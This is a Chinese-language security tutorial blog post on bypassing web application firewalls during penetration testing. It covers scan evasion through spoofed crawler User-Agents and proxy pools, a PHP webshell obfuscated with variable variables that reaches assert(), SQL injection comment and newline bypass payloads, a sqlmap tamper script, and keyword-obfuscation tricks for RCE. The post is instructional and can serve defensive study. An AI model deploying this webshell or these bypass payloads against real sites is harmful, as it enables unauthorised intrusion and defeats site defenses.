• 《Web安全基础》09. WAF 绕过



    本系列侧重方法论,各工具只是实现目标的载体。
    命令与工具只做简单介绍,其使用另见《安全工具录》。

    1:基本概念

    1.1:DoS & DDos

    DoS(Denial of Service),通过发送大量请求等方式耗尽目标资源,使目标系统服务不可用。由单一攻击者或单一设备发起。

    DDoS(Distributed Denial of Service Attack),与 DoS 类似,通过超载目标系统使其服务不可用。DDoS 涉及多个攻击者或僵尸机共同协作来攻击目标。

    DoS 与 DDos 攻击的目标主要是系统主机。

    1.2:CC 攻击

    CC 攻击(Challenge Collapsar),一种特定类型的 DoS 攻击,攻击目标通常是 Web 服务器,如网站或 Web 应用程序。

    CC 攻击的目标通常是网站或 Web 应用程序。

    1.3:扫描绕过方式

    扫描目标如果过快,可能会触发目标防火墙的流量检测拦截。

    绕过思路,模拟正常请求的访问习惯:

    • 更改请求方式
      更改请求方式去请求数据。例如:HEAD 方式改为 GET 方式请求数据。

    • 模拟用户请求
      将扫描工具所提交的数据包尽可能的伪装成用户使用浏览器访问所提交的数据包。包括消除工具指纹。

    • 模拟爬虫引擎
      WAF 上有爬虫黑白名单机制。可通过修改 User-Agent 头模拟爬虫。

    • 代理池技术
      使用代理池,通过代理服务器扫描目标。可以实现每次请求更换源 ip,避免拦截。

    • 延时扫描
      降低扫描频率与速度。

    2:WAF 绕过

    WAF 拦截会出现在安全测试的各个层面,掌握各个层面的分析和绕过技术最为关键。

    WAF 绕过层面:

    • 信息收集
    • 漏洞发现
    • 漏洞利用
    • 权限控制

    2.1:信息收集阶段

    在这里插入图片描述

    一个网站目录扫描脚本:

    # 搜索引擎爬虫模拟及模拟真实用户
    import requests
    import time
    
    headers = {
        'Connection': 'keep-alive',
        'Cache-Control': 'max-age=0',
        'Upgrade-Insecure-Requests': '1',
        # 模拟用户 Kit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36
        # 模拟引擎 Mozilla/5.0 (compatible; Baiduspider-render/2.0; +http://www.baidu.com/search/spider.html)
        # 更多爬虫引擎:https://www.cnblogs.com/iack/p/3557371.html
        'User-Agent': 'Mozilla/5.0 (compatible; Baiduspider-render/2.0;'
                      ' +http://www.baidu.com/search/spider.html)',
        'Sec-Fetch-Dest': 'document',
        'Accept':
        'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/si'
        'gned-exchange;v=b3;q=0.9',
        'Sec-Fetch-Site': 'none',
        'Sec-Fetch-Mode': 'navigate',
        'Sec-Fetch-User': '?1',
        'Accept-Encoding': 'gzip, deflate, br',
        'Accept-Language': 'zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7',
        'Cookie': 'xxx',  # 根据当前访问 cookie
    }
    
    for paths in open('dict.txt', encoding='utf-8'):
        url = 'http://192.168.0.103:8081/'
        paths = paths.replace('\n', '')
        urls = url + paths
    
        # 如需测试加代理,或加入代理池需加代理
        proxy = {
            'http': '127.0.0.1:7777'
        }
    
        try:
            code = requests.get(urls, headers=headers, verify=False).status_code
            print(urls + '|' + str(code))
        except Exception as err:
            print('connecting error')
    
        # time.sleep(3)  # 模拟用户需延时(请求速度)
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42

    写脚本的原因是为了模拟用户真实的访问情况,并且可以对其有充足的控制,现有工具可能会有无法更改的请求内容。

    相关资源:

    《各大搜索引擎的User-Agent》
    https://www.cnblogs.com/iack/p/3557371.html

    2.2:漏洞发现阶段

    在这里插入图片描述

    相关资源:

    A simple HTTP Request & Response Service - httpbin
    http://httpbin.org

    快代理
    https://www.kuaidaili.com

    proxy_pool
    https://github.com/jhao104/proxy_pool

    2.3:权限控制阶段

    在这里插入图片描述

    在权限控制阶段,对于后门代码命令的传输,可采取以下方式绕过 WAF:

    • 密码混淆
    • 变量覆盖
    • 异或混淆

    除此以外,因为很多权限工具都被 WAF 识别了相关特征(如菜刀、蚁剑、冰蝎等),导致无法使用控制工具,这时就需要自己写工具。

    相关资源:

    Behinder
    https://github.com/rebeyond/Behinder

    AntSword
    https://github.com/AntSwordProject/antSword

    2.3.1:密码混淆

    后门直接调用 system()phpinfo() 等敏感字段时会被 WAF 拦截。在绕过时,就需要配合截断(%00)或者相关密码技术处理。

    例如 PHP 中的函数:

    • Base64 编解码
      • base64_encode($data)
      • base64_decode($base64string)
    • URL 编解码
      • urlencode($string)
      • urldecode($string)

    2.3.2:变量覆盖

    变量覆盖(可变变量),用于通过变量的值来动态命名变量并访问其值。

    以 PHP 为例,$$a 是一种特殊的变量语法,用来实现变量覆盖:

    $foo = 'bar';
    $bar = 'Hello, World!';
    
    // 使用 $$foo 来访问 $bar 的值
    // 因为 $foo 的值是 'bar' ,所以 $$foo 实际上等同于 $bar 
    // 最终输出 'Hello, World!' 。
    echo $$foo;
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7

    示例

    一个运用此原理的 PHP 后门(设后门文件为 webshell.php):

    
        $a = $_GET['x']; 
        $$a = $_GET['y']; 
        $b($_POST['z']); 
    ?>
    
    • 1
    • 2
    • 3
    • 4
    • 5

    利用:

    # get 传参:
    url + webshell.php?x=b&y=assert  
    # 这样赋值后 $a=b, $$a=$b=assert
    # 所以变为了 assert($_POST[‘z’]);
    # 再通过 post 传递 payload 即可
    
    # post 传参:
    z=phpinfo();
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8

    2.3.2:异或混淆

    异或混淆,基于异或运算(XOR,Exclusive OR)。一种编码技术,通常用于对数据进行保护或混淆,使其难以理解。

    相关工具与资源:

    PHP 混淆加密脚本
    https://github.com/djunny/enphp

    在线 PHP 加密
    https://phpjiami.com/phpjiami.html

    异或加密 Webshell-venom
    https://github.com/yzddmr6/as_webshell_venom

    2.4:漏洞利用阶段

    漏洞利用要注意相关工具扫描利用时绕过防火墙。对于 payload 也需要做绕过。

    2.4.1:SQL 注入

    手工注入绕过

     - 对敏感字符,使用注释(/**/)绕过
     - %23 代表 #
     - %0A 代表换行符 union %23a%0Aselect 1,2,3;%23 如:
    
    示例:
    
    id=-1%20union %23a%0Aselect 1,2,3;%23 
    
    id=-1/**&id=-1%20 union%20 select%201,2,3%23*/ id=-1%20union/*!44509select*/%201,2,3
    
    # mysql 特性:
    # /*!x*/ 代表当 mysql 数据库版本大于 x 时,
    # mysql 不再将其当作注释,从而将其运行。
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13

    SQLmap 工具绕过

     · 绕过指纹识别
    
    	需要伪装 UA:
    	--user-agent="Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)"
    	或者使用 --random-agent,
    	或者修改 sqlmap.conf 文件下的 agent。
    
     · 通过自写模块绕过敏感字段
    
    	--tamper=xxx.py
    
     · 使用代理池绕过 CC 防护 
    
    	--proxy=http:/IP:port
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14

    模块示例:

    #!/usr/bin/env python
    
    """
    Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
    See the file 'LICENSE' for copying permission
    """
    
    
    from lib.core.enums import PRIORITY
    
    __priority__ = PRIORITY.NORMAL
    
    def tamper(payload,**kwargs):
        retVal =""
        if payload:
            payload = payload.replace("union","%23a%0aunion")
            payload = payload.replace("select","/*!4457select*/")
            payload = payload.replace("%20","%23a%0a")
            payload = payload.replace(" ","%23a%0a")
            payload = payload.replace("database()","database%23a%0a()")
        return payload
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    sqlmap.py -u "http://test.xiaodi8.com/sqlilabs/Less-2/?id=1" --proxy="http:tps123.kdlapi.com:15818" --tamper="waf-dog.py" --random-agent
    
    • 1

    2.4.2:文件上传

    • 数据溢出
    • 符号变异
    • 分号绕过
    • 换行绕过
    • 重复数据
    • %00 截断
    • 其他特性绕过

    2.4.3:XSS

    手工 XSS 绕过

    • 标签语法替代
    • 特殊符号干扰
    • 提交方式更改
    • 垃圾数据溢出
    • 加密解密算法
    • 结合其它漏洞绕过

    XSStrike 工具绕过

    • 使用延时(--timeout)或者代理池(--proxy)绕过

    2.4.4:RCE

     · 编解码绕过 
    
    	base64,url 编码。
    	注意:可变变量中传入 base64_decode() 函数可能会被拦截,
    	此时就需要采用其他方式。
    
     · 关键字绕过 
    
    	如 phpinfo();
    	可以替换成如下写法:
    	$y=str_replace('x','','pxhpxinxfo()');assert($y);
    
     · 变量覆盖
    
    	参考【2.3.2:变量覆盖】。
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15

    得其所利,必虑其所害;乐其所成,必顾其所败。

    ——《说苑》(两汉)刘向

  • 相关阅读:
    【通信】基于PUMA实现 DOA 估计附matlab代码
    BSN-DDC 合约研究01---权限合约
    java毕业设计健身生活系统(附源码、数据库)
    KubeGems容器云平台体验
    i.MX6ULL - 问题解决:NFS挂载失败 - VFS: Unable to mount root fs on unknown-block(2,0)
    什么叫防御式编程
    改进YOLO系列:12.Repulsion损失函数【遮挡】
    gorm中的关联操作详解
    【SpringCloud-学习笔记】Nacos注册中心
    http和dubbo接口调用主动设置超时时间
  • 原文地址:https://blog.csdn.net/KeepPromise/article/details/132940000